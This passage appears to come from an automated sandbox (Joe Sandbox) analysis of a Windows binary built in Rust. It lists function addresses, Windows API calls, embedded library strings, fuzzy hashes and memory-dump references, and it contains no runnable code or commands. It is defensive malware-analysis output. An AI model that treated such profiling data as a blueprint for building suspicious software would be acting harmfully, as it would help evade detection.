Instruction Fuzzy Hash: 2BC117E2E0C6E244F7619A649C44FF9FB81DF13B71F949331C9AD171D2CB6C99919220

Function 00007FF70FAC2DD0 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e24279356557debe84714dab9f86fce3aed4be0ed86bfee0663c6c4f62ef0130
Instruction ID: 8d7841c308a30abda1fc5cb472b40ce0d235a130d3652726c344ff9ebf840e06
Opcode Fuzzy Hash: e24279356557debe84714dab9f86fce3aed4be0ed86bfee0663c6c4f62ef0130
Instruction Fuzzy Hash: 9DA107A3B187D181F7208F299D00BADBEA0FB02B89F959135CE5D23780DB75C956D3A0

Function 00007FF70FAD84F0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a9ffe87dac8b0f79c3486d9fe87084e90ea7465f2c9ef8dd3cb41c2da5f34cc
Instruction ID: 7bbb01c4f3f59bb132c1c53f4c33b5504fa11f1cf5bc36f8ca10349677f56199
Opcode Fuzzy Hash: 7a9ffe87dac8b0f79c3486d9fe87084e90ea7465f2c9ef8dd3cb41c2da5f34cc
Instruction Fuzzy Hash: 6F4180B2609BC489EB70DF25AC557DA3294F7057A8F404235DE6E4BBD8DF3892968200

Function 00007FF70FA40C5F Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e6cf1eba193c8363c6669458da46312c7e7b4caa1816fe53bf65f2e95b8f89
Instruction ID: 0265d8dd59e520b3640cf2909d311d46cfd190a0c8e2c4048d6760a983680366
Opcode Fuzzy Hash: 38e6cf1eba193c8363c6669458da46312c7e7b4caa1816fe53bf65f2e95b8f89
Instruction Fuzzy Hash: 0C11B2E6B44A8043FEA497AC7B250AA9233DB153D4F90F431CF59A760BDE1DD2968284

Function 00007FF70FA6CB88 Relevance: 21.5, APIs: 17, Instructions: 296COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA6D506
memcpy.MSVCRT ref: 00007FF70FA6D532
memcpy.MSVCRT ref: 00007FF70FA6D64D
memcpy.MSVCRT ref: 00007FF70FA6D6BF
memcpy.MSVCRT ref: 00007FF70FA6D6D4
memcpy.MSVCRT ref: 00007FF70FA6D739
memcpy.MSVCRT ref: 00007FF70FA6D803
memcpy.MSVCRT ref: 00007FF70FA6D823

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: dae7fc64980f17ad7ca84a107ae4c29e59e945e31aca4d4e6bee49b8fe609159
Instruction ID: 6f7329a0fc95a5fab52efa20c7ec5c10bfb87f27c4b99aaf106f798a155ff1fb
Opcode Fuzzy Hash: dae7fc64980f17ad7ca84a107ae4c29e59e945e31aca4d4e6bee49b8fe609159
Instruction Fuzzy Hash: 14F1637260CAC180EB60EB21E8547EEA7A4FF56B88F844036DE4C4B68ADF7DD145C761

Function 00007FF70FA64C1C Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 210COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF70FA64D33
GetFinalPathNameByHandleW.KERNEL32 ref: 00007FF70FA64D46
GetLastError.KERNEL32 ref: 00007FF70FA64D51
GetLastError.KERNEL32 ref: 00007FF70FA64D66
GetLastError.KERNEL32 ref: 00007FF70FA64E45

Strings

Filepathfatal runtime error: I/O error: operation failed to complete synchronously, xrefs: 00007FF70FA64C3D
AfdPollInfoIoStatusBlock/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/mio-1.0.3/src/sys/windows/iocp.rs, xrefs: 00007FF70FA64F70
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF70FA64ECD
handlepanicked at :fullstd\src\path.rs, xrefs: 00007FF70FA64C7B

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorLast$FinalHandleNamePath
String ID: AfdPollInfoIoStatusBlock/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/mio-1.0.3/src/sys/windows/iocp.rs$Filepathfatal runtime error: I/O error: operation failed to complete synchronously$handlepanicked at :fullstd\src\path.rs$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs
API String ID: 1636761289-1897134925
Opcode ID: ec1d133becfc25e7979692a29436d36f9160df859d21c288d14f9eec3d62ecd9
Instruction ID: bdf7e4b4c6d2ec2a5bba14a33190efbb96ab7bd8e5f81be7bcbdcbfaf6f98f3c
Opcode Fuzzy Hash: ec1d133becfc25e7979692a29436d36f9160df859d21c288d14f9eec3d62ecd9
Instruction Fuzzy Hash: 6A919262A1CBD681EB20EB15E8447EAA350FF8AB94F904131EE8D47B95DF3DD185C720

Function 00007FF70FAF44A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF70FAF45BB

Strings

Address %p has no image-section, xrefs: 00007FF70FAF4512, 00007FF70FAF4665
VirtualProtect failed with code 0x%x, xrefs: 00007FF70FAF462E
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF70FAF4651
Mingw-w64 runtime failure:, xrefs: 00007FF70FAF44D7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: e0bbbf5777eb9922d508e39bbded4e916b70b3ea930104d187e0a464e6b22a8c
Instruction ID: 1cdb10a6fa1a8f749d0ea3f89df28162e07e1256bdf1da4b9f7642ef608e6ade
Opcode Fuzzy Hash: e0bbbf5777eb9922d508e39bbded4e916b70b3ea930104d187e0a464e6b22a8c
Instruction Fuzzy Hash: 81515462A0CA8695EB11FF51EC40AEAA760FF89B94F884131DE4C0B755DF3CE949C750

Function 00007FF70FAF0873 Relevance: 12.4, APIs: 2, Strings: 6, Instructions: 358COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAF0A71
memcpy.MSVCRT ref: 00007FF70FAF0CC3

Strings

//file://, xrefs: 00007FF70FAF092D
assertion failed: self.is_char_boundary(idx), xrefs: 00007FF70FAF0966
assertion failed: !self.serialization[scheme_end_as_usize..].starts_with("://"), xrefs: 00007FF70FAF0ADB, 00007FF70FAF0E2C
assertion failed: self.is_char_boundary(n), xrefs: 00007FF70FAF0A32, 00007FF70FAF0E3F
:/., xrefs: 00007FF70FAF09CA
:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF70FAF0AA4, 00007FF70FAF0CF3

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: //file://$:/.$:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs$assertion failed: !self.serialization[scheme_end_as_usize..].starts_with("://")$assertion failed: self.is_char_boundary(idx)$assertion failed: self.is_char_boundary(n)
API String ID: 3510742995-88702783
Opcode ID: 72426f9cd0709af0399fcfe8f93df46ad040ae6ca42f1e4682f8c04fec4a58d2
Instruction ID: 97bc2653d3a740fa666f8a8c3b2cd9f4882e2db66f64d603cbb62b79e26b44ce
Opcode Fuzzy Hash: 72426f9cd0709af0399fcfe8f93df46ad040ae6ca42f1e4682f8c04fec4a58d2
Instruction Fuzzy Hash: 84F14DA6A0C7C186DB50FB51E8446EAA760FF4AB94F808036EE8D07756DF7CE155CB10

Function 00007FF70FADA8C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF70FADAA39
GetEnvironmentVariableW.KERNEL32 ref: 00007FF70FADAA4B
GetLastError.KERNEL32 ref: 00007FF70FADAA57
GetLastError.KERNEL32 ref: 00007FF70FADAA70

Strings

internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF70FADABCF

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs
API String ID: 2691138088-1501570450
Opcode ID: 367b2e088a116e95373907ff578ac97a70b4161a953841aeb9d76e864f9459c6
Instruction ID: e4aa6affdb38283ed0751046cfec48fc5a0894102087921a311d740b8db86bc7
Opcode Fuzzy Hash: 367b2e088a116e95373907ff578ac97a70b4161a953841aeb9d76e864f9459c6
Instruction Fuzzy Hash: A491B496A0DAC245EB34AE21DC447F9A354FF46B98F844036DE5E5B78ADF3CD6828310

Function 00007FF70FAB88B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 230synchronizationCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF70FAB88EB
WaitForSingleObject.KERNEL32 ref: 00007FF70FAB89DF
RtlNtStatusToDosError.NTDLL ref: 00007FF70FAB8A6C
CloseHandle.KERNEL32 ref: 00007FF70FAB8C44

Part of subcall function 00007FF70FAF3E70: RtlCaptureContext.KERNEL32 ref: 00007FF70FAF3EEE
Part of subcall function 00007FF70FAF3E70: RtlUnwindEx.KERNEL32 ref: 00007FF70FAF3F0C
Part of subcall function 00007FF70FAF3E70: abort.MSVCRT ref: 00007FF70FAF3F12
Part of subcall function 00007FF70FAF3E70: abort.MSVCRT ref: 00007FF70FAF3F30

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FAB8BE2

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: Errorabort$CaptureCloseContextHandleLastObjectSingleStatusUnwindWait
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 2628027863-2333694755
Opcode ID: 6931fcbae53a0d2bf3fbb7d25b60794c922bd8c9031538df37baab5cf48a4931
Instruction ID: d786898518f7dcce0d78b6a83cc3d53188735055dd5350d9978f31b6374c832e
Opcode Fuzzy Hash: 6931fcbae53a0d2bf3fbb7d25b60794c922bd8c9031538df37baab5cf48a4931
Instruction Fuzzy Hash: D3A1B5A2A0C6D299FB10AB74DC507FCA764EF46348F848132DA5D57A8ADF3CE185C321

Function 00007FF70FADC3F0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 213COMMON

Download Yara Rule

APIs

FreeAddrInfoW.WS2_32 ref: 00007FF70FADC657
FreeAddrInfoW.WS2_32 ref: 00007FF70FADC71F

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF70FADC6AC, 00007FF70FADC6F2
, xrefs: 00007FF70FADC624
assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs, xrefs: 00007FF70FADC525, 00007FF70FADC6DD

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: AddrFreeInfo
String ID: $assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 3780557530-2757504381
Opcode ID: 6ef11cfb8c27b1011caa8e8ff32cb301d527fe32915682ae1bb601e240583514
Instruction ID: 37edc59de31cd2c9582eecf990e77873962f7051729c89bfb3e96a3b73ca88d1
Opcode Fuzzy Hash: 6ef11cfb8c27b1011caa8e8ff32cb301d527fe32915682ae1bb601e240583514
Instruction Fuzzy Hash: D3A1BFB2A08A908AE704EF61D840AEDBBB0FF89B54F95913ADE0E53754DF38D941C750

Function 00007FF70FAF2DAE Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 147memorywindowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32 ref: 00007FF70FAF2F46
GetProcessHeap.KERNEL32 ref: 00007FF70FAF2F92
HeapFree.KERNEL32 ref: 00007FF70FAF2F9F

Strings

KO_S, xrefs: 00007FF70FAF2EED
ntdll.dll, xrefs: 00007FF70FAF2F0F

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: Heap$FormatFreeMessageProcess
String ID: KO_S$ntdll.dll
API String ID: 3399813933-3456853593
Opcode ID: afad294582a6cd3ce4f1c6ea8b77e50478f701724e38d1999e1da6f3f7903f32
Instruction ID: 92fe89852ebcef2d96e6eaa50472a35ed22e172f7f1f86428881f2ec8cc312df
Opcode Fuzzy Hash: afad294582a6cd3ce4f1c6ea8b77e50478f701724e38d1999e1da6f3f7903f32
Instruction Fuzzy Hash: 445193A2A2CAC141EB14EB51D8517F9E7A1EF86BD0F944036EA4E4F799DF3CD4488720

Function 00007FF70FA747CD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 96encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70FAB6CAA: CertFreeCertificateChain.CRYPT32 ref: 00007FF70FAB6D19

CertFreeCertificateChain.CRYPT32 ref: 00007FF70FA748E2

Part of subcall function 00007FF70FAB6E1B: CertDuplicateCertificateContext.CRYPT32 ref: 00007FF70FAB6E4B

CertFreeCertificateContext.CRYPT32 ref: 00007FF70FA74890
CertFreeCertificateContext.CRYPT32 ref: 00007FF70FA748B9
CertFreeCertificateChain.CRYPT32 ref: 00007FF70FA748C9

Strings

unable to find any user-specified roots in the final cert chain/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-util-0.7.13/src/util/poll_buf.rs, xrefs: 00007FF70FA748E7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: CertCertificate$Free$ChainContext$Duplicate
String ID: unable to find any user-specified roots in the final cert chain/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-util-0.7.13/src/util/poll_buf.rs
API String ID: 3109798266-1310523231
Opcode ID: be587110cc3e45ebb92c2328696f831181ee9557e36bccd4077b0abf6bb89780
Instruction ID: a4b5360b9a42e65e4e6df5e262c9d455d49e04236bcfae8b551725a6d2f3dedb
Opcode Fuzzy Hash: be587110cc3e45ebb92c2328696f831181ee9557e36bccd4077b0abf6bb89780
Instruction Fuzzy Hash: 1C318FA2A1CAD581EA10FA52DC41AFAE790EF8ABD4F844031EE4D47756DF3CE4858710

Function 00007FF70FA6CB68 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 250COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA6CF3D

Part of subcall function 00007FF70FAB6964: memcpy.MSVCRT ref: 00007FF70FAB698F

Strings

User-Agent: Proxy-Authorization: , xrefs: 00007FF70FA6D112
current header name/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h1/encode.rs, xrefs: 00007FF70FA6D137, 00007FF70FA6D1B1, 00007FF70FA6D1CE

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: current header name/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/hyper-1.5.1/src/proto/h1/encode.rs$User-Agent: Proxy-Authorization:
API String ID: 3510742995-207755664
Opcode ID: 471c04b6c0c1d185dfe32d364de979c67e1e7767b5cb4323b18f0a6d908baeaf
Instruction ID: 082dcfad04e5800714c736bd36e09fb84fed0ec73ff34bcba375120022e64747
Opcode Fuzzy Hash: 471c04b6c0c1d185dfe32d364de979c67e1e7767b5cb4323b18f0a6d908baeaf
Instruction Fuzzy Hash: 61D151A260CBC180E751EF24E8457EA7764FF56B88F885136DE8C0B396DF799198C321

Function 00007FF70FAB8C60 Relevance: 7.6, APIs: 5, Instructions: 142COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF70FAB8CF4
WriteConsoleW.KERNEL32 ref: 00007FF70FAB8D33
WriteConsoleW.KERNEL32 ref: 00007FF70FAB8D9A
GetLastError.KERNEL32 ref: 00007FF70FAB8DA3
GetLastError.KERNEL32 ref: 00007FF70FAB8E0E

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ConsoleErrorLastWrite$ByteCharMultiWide
String ID:
API String ID: 1956605914-0
Opcode ID: ec69e183505158f8e09fd6a838d7765b49751d42299f5a052bcbb54dde6cdc28
Instruction ID: e6b2f02e0bfb2e97d7400b17436604907c7876b8412b2298fd0969816773227a
Opcode Fuzzy Hash: ec69e183505158f8e09fd6a838d7765b49751d42299f5a052bcbb54dde6cdc28
Instruction Fuzzy Hash: 6651B1A2A0C6D245F720AB69DC04BF9E355FF46794FD04232E94C4BADAEF3CD5468260

Function 00007FF70FAF4680 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 231memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00007FF70FB531A0,00007FF70FB531A8,00007FF70FB531F0,00007FF8C6F6ADA0,?,?,?,00000001,00007FF70FA31251), ref: 00007FF70FAF487D

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF70FAF49C2
Unknown pseudo relocation protocol version %d., xrefs: 00007FF70FAF49CE
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF70FAF48E7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: f19c8f45ae1f60220c1927a447ebf9da9342ae0acddee9f6b0931607b270b52f
Instruction ID: c04a0b8bd6eaef03f9d066150e67c63536785e8aa914a52cf2f12ae3703aa3b6
Opcode Fuzzy Hash: f19c8f45ae1f60220c1927a447ebf9da9342ae0acddee9f6b0931607b270b52f
Instruction Fuzzy Hash: 4391C865F1D5D281EB10FB60DD40AFAA290EF5A764F848232DE2D1B7D4DF2CF8458660

Function 00007FF70FA54BA5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 95threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF70FA54BDD

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FA54D0B
assertion failed: (*tail).value.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/mpsc/queue.rs, xrefs: 00007FF70FA54CC2
